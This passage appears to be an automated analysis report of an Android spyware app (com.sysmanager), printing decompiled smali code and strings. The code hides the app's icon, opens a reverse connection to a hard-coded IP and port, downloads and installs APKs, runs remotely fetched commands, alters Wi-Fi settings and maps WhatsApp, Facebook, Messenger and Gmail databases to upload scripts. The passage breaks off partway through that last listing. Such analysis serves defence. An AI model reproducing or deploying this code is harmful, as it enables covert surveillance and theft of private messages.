  • com.sysmanager.MainWeb.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdir
  • com.sysmanager.storage.DeleteApkFiles.<init>
  • com.sysmanager.storage.DeleteApkFiles.execute
  • com.sysmanager.MainWeb.getPackageManager
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
  • android.content.Intent.<init>
  • com.sysmanager.MainWeb.startService
  • com.sysmanager.network.StartReverse.<init>
  • com.sysmanager.network.StartReverse.execute
  • com.sysmanager.MainWeb.getIntent
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.content.Intent.getExtras
  • android.os.Bundle.getString
  • java.lang.String.contains
  • com.sysmanager.OnBootReceiver.loadSharedPreferences
Strings
  • /cachel2/
  • http://url.plus/Updates/
  • 54.67.109.199
  • 21070
  • com.sysmanager_reborn
  • msg_from_browser
  • uri
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
2const/4 v9, 0x2
3const/4 v8, 0x0
4const/4 v7, 0x1
6invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
7new-instance v1, Ljava/io/File;
8new-instance v4, Ljava/lang/StringBuilder;
10invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
12invoke-virtual {p0}, Lcom/sysmanager/MainWeb;->getFilesDir()Ljava/io/File;
13move-result-object v5
15invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
16move-result-object v4
18const-string v5, "/cachel2/"
20invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v4
23invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
24move-result-object v4
26invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
28invoke-virtual {v1}, Ljava/io/File;->exists()Z
29move-result v4
30if-nez v4, :cond_2b
32invoke-virtual {v1}, Ljava/io/File;->mkdir()Z
33cond_2b: new-instance v4, Lcom/sysmanager/storage/DeleteApkFiles;
35invoke-direct {v4}, Lcom/sysmanager/storage/DeleteApkFiles;-><init>()V
36new-array v5, v7, [Landroid/content/Context;
37aput-object p0, v5, v8
39invoke-virtual {v4, v5}, Lcom/sysmanager/storage/DeleteApkFiles;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
41invoke-virtual {p0}, Lcom/sysmanager/MainWeb;->getPackageManager()Landroid/content/pm/PackageManager;
42move-result-object v4
43new-instance v5, Landroid/content/ComponentName;
44const-class v6, Lcom/sysmanager/Main;
46invoke-direct {v5, p0, v6}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
48invoke-virtual {v4, v5, v9, v7}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
49new-instance v4, Landroid/content/Intent;
50const-class v5, Lcom/sysmanager/system/AndroidClock;
52invoke-direct {v4, p0, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
54invoke-virtual {p0, v4}, Lcom/sysmanager/MainWeb;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
55new-instance v4, Lcom/sysmanager/network/StartReverse;
57invoke-direct {v4}, Lcom/sysmanager/network/StartReverse;-><init>()V
58const/4 v5, 0x4
59new-array v5, v5, [Ljava/lang/Object;
60aput-object p0, v5, v8
62const-string v6, "http://url.plus/Updates/"
63aput-object v6, v5, v7
65const-string v6, "54.67.109.199"
66aput-object v6, v5, v9
67const/4 v6, 0x3
69const-string v7, "21070"
70aput-object v7, v5, v6
72invoke-virtual {v4, v5}, Lcom/sysmanager/network/StartReverse;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
74invoke-virtual {p0}, Lcom/sysmanager/MainWeb;->getIntent()Landroid/content/Intent;
75move-result-object v2
76if-eqz v2, :cond_9a
78invoke-virtual {v2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
79move-result-object v4
80if-eqz v4, :cond_9a
82invoke-virtual {v2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
83move-result-object v4
85const-string v5, "com.sysmanager_reborn"
87invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
88move-result v4
89if-eqz v4, :cond_9a
91invoke-virtual {v2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
92move-result-object v0
93if-eqz v0, :cond_9a
95const-string v4, "msg_from_browser"
97invoke-virtual {v0, v4}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
98move-result-object v3
99if-eqz v3, :cond_9a
101const-string v4, "uri"
103invoke-virtual {v3, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
104move-result v4
105if-eqz v4, :cond_9a
107invoke-static {p0}, Lcom/sysmanager/OnBootReceiver;->loadSharedPreferences(Landroid/content/Context;)V
108cond_9a: return-void
Cross References
APIs
  • java.net.URL.<init>
  • android.content.Context.checkCallingOrSelfPermission
  • java.lang.String.lastIndexOf
  • java.lang.String.substring
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStoragePublicDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • com.sysmanager.network.InstallApk.installApp
  • java.io.File.delete
  • java.net.URL.openConnection
  • java.net.HttpURLConnection.setRequestMethod
  • java.net.HttpURLConnection.setDoOutput
  • java.net.HttpURLConnection.connect
  • java.io.FileOutputStream.<init>
  • java.net.HttpURLConnection.getInputStream
  • java.io.InputStream.read
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • java.io.InputStream.close
  • java.io.File.exists
  • com.sysmanager.network.InstallApk.installApp
Strings
  • android.permission.WRITE_EXTERNAL_STORAGE
  • /
  • GET
Position Instruction Meta Information
0.param p1, "objects" # [Ljava/lang/Object;
1.prologue
2const/4 v11, 0x0
3const/4 v13, 0x0
4aget-object v4, p1, v11
5check-cast v4, Landroid/content/Context;
6const/4 v11, 0x1
7try_start_7: aget-object v10, p1, v11
8check-cast v10, Ljava/lang/String;
9new-instance v9, Ljava/net/URL;
11invoke-direct {v9, v10}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
13const-string v11, "android.permission.WRITE_EXTERNAL_STORAGE"
15invoke-virtual {v4, v11}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I
16move-result v11
17if-eqz v11, :cond_19
18goto_18: return-object v13
19cond_19:
20const-string v11, "/"
22invoke-virtual {v10, v11}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I
23move-result v11
24add-int/lit8 v11, v11, 0x1
26invoke-virtual {v10, v11}, Ljava/lang/String;->substring(I)Ljava/lang/String;
27move-result-object v1
28new-instance v0, Ljava/io/File;
29new-instance v11, Ljava/lang/StringBuilder;
31invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
33sget-object v12, Landroid/os/Environment;->DIRECTORY_DOWNLOADS:Ljava/lang/String;
35invoke-static {v12}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;
36move-result-object v12
38invoke-virtual {v12}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
39move-result-object v12
41invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
42move-result-object v11
44const-string v12, "/"
46invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47move-result-object v11
49invoke-virtual {v11, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
50move-result-object v11
52invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
53move-result-object v11
55invoke-direct {v0, v11}, Ljava/io/File;-><init>(Ljava/lang/String;)V
57invoke-virtual {v0}, Ljava/io/File;->exists()Z
58move-result v11
59if-eqz v11, :cond_65
60array-length v11, p1
61const/4 v12, 0x2
62if-ne v11, v12, :cond_62
64invoke-direct {p0, v4, v0}, Lcom/sysmanager/network/InstallApk;->installApp(Landroid/content/Context;Ljava/io/File;)V
65try_end_58: goto/16 :goto_18
66catch_59: move-exception v5
68invoke-static {v5}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
69move-result-object v11
71invoke-static {v4, v11}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
72goto/16 :goto_18
73try_start_62:
74invoke-virtual {v0}, Ljava/io/File;->delete()Z
75cond_65:
76invoke-virtual {v9}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
77move-result-object v3
78check-cast v3, Ljava/net/HttpURLConnection;
80const-string v11, "GET"
82invoke-virtual {v3, v11}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
83const/4 v11, 0x1
85invoke-virtual {v3, v11}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
87invoke-virtual {v3}, Ljava/net/HttpURLConnection;->connect()V
88new-instance v6, Ljava/io/FileOutputStream;
90invoke-direct {v6, v0}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
92invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
93move-result-object v7
94const/16 v11, 0x400
95new-array v2, v11, [B
96goto_84:
97invoke-virtual {v7, v2}, Ljava/io/InputStream;->read([B)I
98move-result v8
99const/4 v11, -0x1
100if-eq v8, v11, :cond_90
101const/4 v11, 0x0
103invoke-virtual {v6, v2, v11, v8}, Ljava/io/FileOutputStream;->write([BII)V
104goto/16 :goto_84
105cond_90:
106invoke-virtual {v6}, Ljava/io/FileOutputStream;->close()V
108invoke-virtual {v7}, Ljava/io/InputStream;->close()V
110invoke-virtual {v0}, Ljava/io/File;->exists()Z
111move-result v11
112if-eqz v11, :cond_18
114invoke-direct {p0, v4, v0}, Lcom/sysmanager/network/InstallApk;->installApp(Landroid/content/Context;Ljava/io/File;)V
115try_end_9f: goto/16 :goto_18
Cross References
APIs
  • java.net.URL.<init>
  • android.content.Context.checkCallingOrSelfPermission
  • java.lang.String.lastIndexOf
  • java.lang.String.substring
  • java.lang.StringBuilder.<init>
  • android.os.Environment.getExternalStoragePublicDirectory
  • java.io.File.getAbsolutePath
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.delete
  • java.net.URL.openConnection
  • java.net.HttpURLConnection.setRequestMethod
  • java.net.HttpURLConnection.setDoOutput
  • java.net.HttpURLConnection.connect
  • java.io.FileOutputStream.<init>
  • java.net.HttpURLConnection.getInputStream
  • java.io.InputStream.read
  • java.io.FileOutputStream.write
  • java.io.FileOutputStream.close
  • java.io.InputStream.close
  • java.io.File.exists
  • com.sysmanager.network.GetCommands.parseCommands
Strings
  • android.permission.WRITE_EXTERNAL_STORAGE
  • /
  • GET
Position Instruction Meta Information
0.param p1, "objects" # [Ljava/lang/Object;
1.prologue
2const/4 v13, 0x0
3const/4 v11, 0x0
4aget-object v4, p1, v11
5check-cast v4, Landroid/content/Context;
6const/4 v11, 0x1
7try_start_7: aget-object v10, p1, v11
8check-cast v10, Ljava/lang/String;
9new-instance v9, Ljava/net/URL;
11invoke-direct {v9, v10}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
13const-string v11, "android.permission.WRITE_EXTERNAL_STORAGE"
15invoke-virtual {v4, v11}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I
16move-result v11
17if-eqz v11, :cond_19
18goto_18: return-object v13
19cond_19:
20const-string v11, "/"
22invoke-virtual {v10, v11}, Ljava/lang/String;->lastIndexOf(Ljava/lang/String;)I
23move-result v11
24add-int/lit8 v11, v11, 0x1
26invoke-virtual {v10, v11}, Ljava/lang/String;->substring(I)Ljava/lang/String;
27move-result-object v3
28new-instance v2, Ljava/io/File;
29new-instance v11, Ljava/lang/StringBuilder;
31invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
33sget-object v12, Landroid/os/Environment;->DIRECTORY_DOWNLOADS:Ljava/lang/String;
35invoke-static {v12}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;
36move-result-object v12
38invoke-virtual {v12}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
39move-result-object v12
41invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
42move-result-object v11
44const-string v12, "/"
46invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
47move-result-object v11
49invoke-virtual {v11, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
50move-result-object v11
52invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
53move-result-object v11
55invoke-direct {v2, v11}, Ljava/io/File;-><init>(Ljava/lang/String;)V
57invoke-virtual {v2}, Ljava/io/File;->exists()Z
58move-result v11
59if-eqz v11, :cond_54
61invoke-virtual {v2}, Ljava/io/File;->delete()Z
62cond_54:
63invoke-virtual {v9}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
64move-result-object v1
65check-cast v1, Ljava/net/HttpURLConnection;
67const-string v11, "GET"
69invoke-virtual {v1, v11}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
70const/4 v11, 0x1
72invoke-virtual {v1, v11}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
74invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V
75new-instance v6, Ljava/io/FileOutputStream;
77invoke-direct {v6, v2}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
79invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
80move-result-object v7
81const/16 v11, 0x400
82new-array v0, v11, [B
83goto_73:
84invoke-virtual {v7, v0}, Ljava/io/InputStream;->read([B)I
85move-result v8
86const/4 v11, -0x1
87if-eq v8, v11, :cond_88
88const/4 v11, 0x0
90invoke-virtual {v6, v0, v11, v8}, Ljava/io/FileOutputStream;->write([BII)V
91try_end_7e: goto/16 :goto_73
92catch_7f: move-exception v5
94invoke-static {v5}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
95move-result-object v11
97invoke-static {v4, v11}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
98goto/16 :goto_18
99try_start_88:
100invoke-virtual {v6}, Ljava/io/FileOutputStream;->close()V
102invoke-virtual {v7}, Ljava/io/InputStream;->close()V
104invoke-virtual {v2}, Ljava/io/File;->exists()Z
105move-result v11
106if-eqz v11, :cond_18
108invoke-direct {p0, v4, v2}, Lcom/sysmanager/network/GetCommands;->parseCommands(Landroid/content/Context;Ljava/io/File;)V
109try_end_97: goto/16 :goto_18
Cross References
APIs
  • android.content.Context.getApplicationContext
  • android.content.Context.getSystemService
  • android.net.wifi.WifiManager.setWifiEnabled
  • com.sysmanager.MessageManagement.fixEncoding
  • com.sysmanager.MessageManagement.addWifiConfig
  • android.net.wifi.WifiManager.getConfiguredNetworks
  • java.util.List.size
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equalsIgnoreCase
  • android.net.wifi.WifiManager.removeNetwork
  • android.net.wifi.WifiManager.saveConfiguration
Strings
  • wifi
  • wifiYES
  • A70
  • \"
  • wifiNO
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "enabled" # Z
2.param p2, "ssid" # Ljava/lang/String;
3.param p3, "pwd" # Ljava/lang/String;
4.param p4, "security" # Ljava/lang/String;
5.param p5, "details" # Ljava/lang/String;
6.annotation system Ldalvik/annotation/Throws;
7value = {
8Ljava/io/UnsupportedEncodingException;
9}
10.end annotation
11.prologue
13invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
14move-result-object v8
16const-string v9, "wifi"
18invoke-virtual {v8, v9}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
19move-result-object v7
20check-cast v7, Landroid/net/wifi/WifiManager;
21if-eqz p1, :cond_38
22const/4 v8, 0x1
24invoke-virtual {v7, v8}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
25if-eqz p2, :cond_27
26try_start_14:
27invoke-static {p2}, Lcom/sysmanager/MessageManagement;->fixEncoding(Ljava/lang/String;)Ljava/lang/String;
28move-result-object v5
30invoke-static {p3}, Lcom/sysmanager/MessageManagement;->fixEncoding(Ljava/lang/String;)Ljava/lang/String;
31move-result-object v4
33invoke-static/range {p4 .. p4}, Lcom/sysmanager/MessageManagement;->fixEncoding(Ljava/lang/String;)Ljava/lang/String;
34move-result-object v0
36invoke-static/range {p5 .. p5}, Lcom/sysmanager/MessageManagement;->fixEncoding(Ljava/lang/String;)Ljava/lang/String;
37move-result-object v6
39invoke-static {p0, v5, v4, v0, v6}, Lcom/sysmanager/MessageManagement;->addWifiConfig(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
40cond_27:
41const-string v8, "wifiYES"
43const-string v9, "A70"
45invoke-static {v8, p0, v9}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
46goto_2e: return-void
47catch_2f: move-exception v1
49invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
50move-result-object v8
52invoke-static {p0, v8}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
53goto/16 :goto_27
54cond_38:
55invoke-virtual {v7}, Landroid/net/wifi/WifiManager;->getConfiguredNetworks()Ljava/util/List;
56move-result-object v3
57if-eqz v3, :cond_2e
59invoke-interface {v3}, Ljava/util/List;->size()I
60move-result v8
61if-lez v8, :cond_2e
63invoke-interface {v3}, Ljava/util/List;->iterator()Ljava/util/Iterator;
64move-result-object v8
65cond_48:
66invoke-interface {v8}, Ljava/util/Iterator;->hasNext()Z
67move-result v9
68if-eqz v9, :cond_83
70invoke-interface {v8}, Ljava/util/Iterator;->next()Ljava/lang/Object;
71move-result-object v2
72check-cast v2, Landroid/net/wifi/WifiConfiguration;
74iget-object v9, v2, Landroid/net/wifi/WifiConfiguration;->SSID:Ljava/lang/String;
75new-instance v10, Ljava/lang/StringBuilder;
77invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
79const-string v11, "\""
81invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
82move-result-object v10
84invoke-virtual {v10, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
85move-result-object v10
87const-string v11, "\""
89invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
90move-result-object v10
92invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
93move-result-object v10
95invoke-virtual {v9, v10}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
96move-result v9
97if-eqz v9, :cond_48
98iget v8, v2, Landroid/net/wifi/WifiConfiguration;->networkId:I
100invoke-virtual {v7, v8}, Landroid/net/wifi/WifiManager;->removeNetwork(I)Z
101sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
102const/16 v9, 0x19
103if-gt v8, v9, :cond_83
105invoke-virtual {v7}, Landroid/net/wifi/WifiManager;->saveConfiguration()Z
106cond_83:
107const-string v8, "wifiNO"
109const-string v9, "A70"
111invoke-static {v8, p0, v9}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
112goto/16 :goto_2e
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • org.json.JSONObject.<init>
  • org.json.JSONObject.toString
  • java.lang.String.getBytes
  • android.util.Base64.encodeToString
  • org.json.JSONObject.put
  • org.json.JSONObject.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.getBytes
  • android.util.Base64.decode
  • com.sysmanager.Scontext.getContext
Strings
  • serialnumber
  • A70
  • data
  • MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzL75vUumEHm7lQjJOwQU\nlC3ecjxSE+jzwXJS5ZIv1QvYNMw9yKnmtVc9R6h/BjPh74Rln9Z1Rx8Tm6YxZ6Df\nTMnLykfDi7eoXkqnWPyn09ONMc4/9i2/9AN91lT8bvlLA+2HGF9fdQSjn6D9SfQZ\nESuh4K0/ZVaJq3dAKPJlY0dOJqPY8zlW5Y+np2qyP5lxhg7Kt0Cr38AYxU96MgPP\njRbIGLESshnmDx7ETv17tMP4/YVEsOE9wSTtEtgeM1VY9A8/82JT0ftEE/HndejU\nVcz6c70CzF3WyTjqaHwaXifRuVE+f5d6fnh3t32T5Z1kLuu0BRdvIO3iSYqVyJK3\nuQIDAQAB\n
  • User-Agent
  • Serial: A70 Model:
  • VALUE
  • KO
Position Instruction Meta Information
0.param p0, "targetUrl" # Ljava/lang/String;
1.prologue
2try_start_0: new-instance v3, Lorg/json/JSONObject;
4invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
6const-string v9, "serialnumber"
8const-string v10, "A70"
10invoke-virtual {v3, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
11new-instance v4, Lorg/json/JSONObject;
13invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
15const-string v9, "data"
17invoke-virtual {v3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
18move-result-object v10
20invoke-virtual {v10}, Ljava/lang/String;->getBytes()[B
21move-result-object v10
23const-string v11, "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzL75vUumEHm7lQjJOwQU\nlC3ecjxSE+jzwXJS5ZIv1QvYNMw9yKnmtVc9R6h/BjPh74Rln9Z1Rx8Tm6YxZ6Df\nTMnLykfDi7eoXkqnWPyn09ONMc4/9i2/9AN91lT8bvlLA+2HGF9fdQSjn6D9SfQZ\nESuh4K0/ZVaJq3dAKPJlY0dOJqPY8zlW5Y+np2qyP5lxhg7Kt0Cr38AYxU96MgPP\njRbIGLESshnmDx7ETv17tMP4/YVEsOE9wSTtEtgeM1VY9A8/82JT0ftEE/HndejU\nVcz6c70CzF3WyTjqaHwaXifRuVE+f5d6fnh3t32T5Z1kLuu0BRdvIO3iSYqVyJK3\nuQIDAQAB\n"
25invoke-static {v11}, Lcom/sysmanager/cryptoutils/rsaUtils/PublicKeyReader;->get(Ljava/lang/String;)Ljava/security/PublicKey;
26move-result-object v11
28invoke-static {v10, v11}, Lcom/sysmanager/cryptoutils/RSAUtils;->rsaEncrypt([BLjava/security/PublicKey;)[B
29move-result-object v10
30const/4 v11, 0x0
32invoke-static {v10, v11}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
33move-result-object v10
35invoke-virtual {v4, v9, v10}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
37sget-object v9, Lcom/sysmanager/network/HTTPUtility;->JSON:Lokhttp3/MediaType;
39invoke-virtual {v4}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
40move-result-object v10
42invoke-static {v9, v10}, Lokhttp3/RequestBody;->create(Lokhttp3/MediaType;Ljava/lang/String;)Lokhttp3/RequestBody;
43move-result-object v0
44new-instance v9, Lokhttp3/Request$Builder;
46invoke-direct {v9}, Lokhttp3/Request$Builder;-><init>()V
48const-string v10, "User-Agent"
49new-instance v11, Ljava/lang/StringBuilder;
51invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
53const-string v12, "Serial: A70 Model: "
55invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
56move-result-object v11
58sget-object v12, Landroid/os/Build;->MODEL:Ljava/lang/String;
60invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
61move-result-object v11
63invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
64move-result-object v11
66invoke-virtual {v9, v10, v11}, Lokhttp3/Request$Builder;->header(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
67move-result-object v9
69const-string v10, "VALUE"
71const-string v11, "A70"
73invoke-virtual {v9, v10, v11}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
74move-result-object v9
76invoke-virtual {v9, p0}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;
77move-result-object v9
79invoke-virtual {v9, v0}, Lokhttp3/Request$Builder;->post(Lokhttp3/RequestBody;)Lokhttp3/Request$Builder;
80move-result-object v9
82invoke-virtual {v9}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;
83move-result-object v5
84new-instance v9, Lokhttp3/OkHttpClient$Builder;
86invoke-direct {v9}, Lokhttp3/OkHttpClient$Builder;-><init>()V
87const-wide/16 v10, 0x6
89sget-object v12, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
91invoke-virtual {v9, v10, v11, v12}, Lokhttp3/OkHttpClient$Builder;->connectTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
92move-result-object v9
93const-wide/16 v10, 0x6
95sget-object v12, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
97invoke-virtual {v9, v10, v11, v12}, Lokhttp3/OkHttpClient$Builder;->readTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
98move-result-object v9
99const-wide/16 v10, 0x6
101sget-object v12, Ljava/util/concurrent/TimeUnit;->MINUTES:Ljava/util/concurrent/TimeUnit;
103invoke-virtual {v9, v10, v11, v12}, Lokhttp3/OkHttpClient$Builder;->writeTimeout(JLjava/util/concurrent/TimeUnit;)Lokhttp3/OkHttpClient$Builder;
104move-result-object v9
106invoke-virtual {v9}, Lokhttp3/OkHttpClient$Builder;->build()Lokhttp3/OkHttpClient;
107move-result-object v1
109invoke-virtual {v1, v5}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;
110move-result-object v9
112invoke-interface {v9}, Lokhttp3/Call;->execute()Lokhttp3/Response;
113move-result-object v8
115invoke-virtual {v8}, Lokhttp3/Response;->body()Lokhttp3/ResponseBody;
116move-result-object v9
118invoke-virtual {v9}, Lokhttp3/ResponseBody;->string()Ljava/lang/String;
119move-result-object v6
121invoke-virtual {v6}, Ljava/lang/String;->getBytes()[B
122move-result-object v9
123const/4 v10, 0x0
125invoke-static {v9, v10}, Landroid/util/Base64;->decode([BI)[B
126move-result-object v7
128const-string v9, ""
129sput-object v9, Lcom/sysmanager/network/HTTPUtility;->decryptedData:Ljava/lang/String;
130const/4 v9, 0x0
132invoke-static {v7, v9}, Lcom/sysmanager/network/HTTPUtility;->splitBytes([BI)V
134sget-object v9, Lcom/sysmanager/network/HTTPUtility;->decryptedData:Ljava/lang/String;
135try_end_af: return-object v9
136catch_b0: move-exception v2
138invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
139move-result-object v9
141invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
142move-result-object v10
144invoke-static {v9, v10}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
146const-string v9, "KO"
147goto/16 :goto_af
APIs
  • java.util.HashMap.<init>
  • java.util.HashMap.put
Strings
  • messenger
  • /data/data/com.facebook.orca/databases/
  • upload_facebook_chat.php
  • facebook
  • /data/data/com.facebook.katana/databases/
  • upload_facebook_search.php
  • upload_facebook_contacts.php
  • whatsapp
  • /data/data/com.whatsapp/databases/
  • upload_whatsapp_msgstore.php
  • upload_whatsapp_contacts.php
  • gmail
  • /data/data/com.google.android.gm/databases/
  • upload_email_gmail.php
  • mlite
  • /data/data/com.facebook.mlite/databases/
  • upload_messengerlite_chat.php
Position Instruction Meta Information
0.prologue
1const/4 v8, 0x2
2const/4 v7, 0x1
3const/4 v6, 0x0
4new-instance v0, Ljava/util/HashMap;
6invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
7sput-object v0, Lcom/sysmanager/system/AndroidMDMSupport;->mMap:Ljava/util/HashMap;
9sget-object v0, Lcom/sysmanager/system/AndroidMDMSupport;->mMap:Ljava/util/HashMap;
11const-string v1, "messenger"
12new-instance v2, Lcom/sysmanager/system/AndroidMDMSupport$Social;
14const-string v3, "/data/data/com.facebook.orca/databases/"
15new-array v4, v7, [Ljava/lang/String;
17const-string v5, "upload_facebook_chat.php"
18aput-object v5, v4, v6
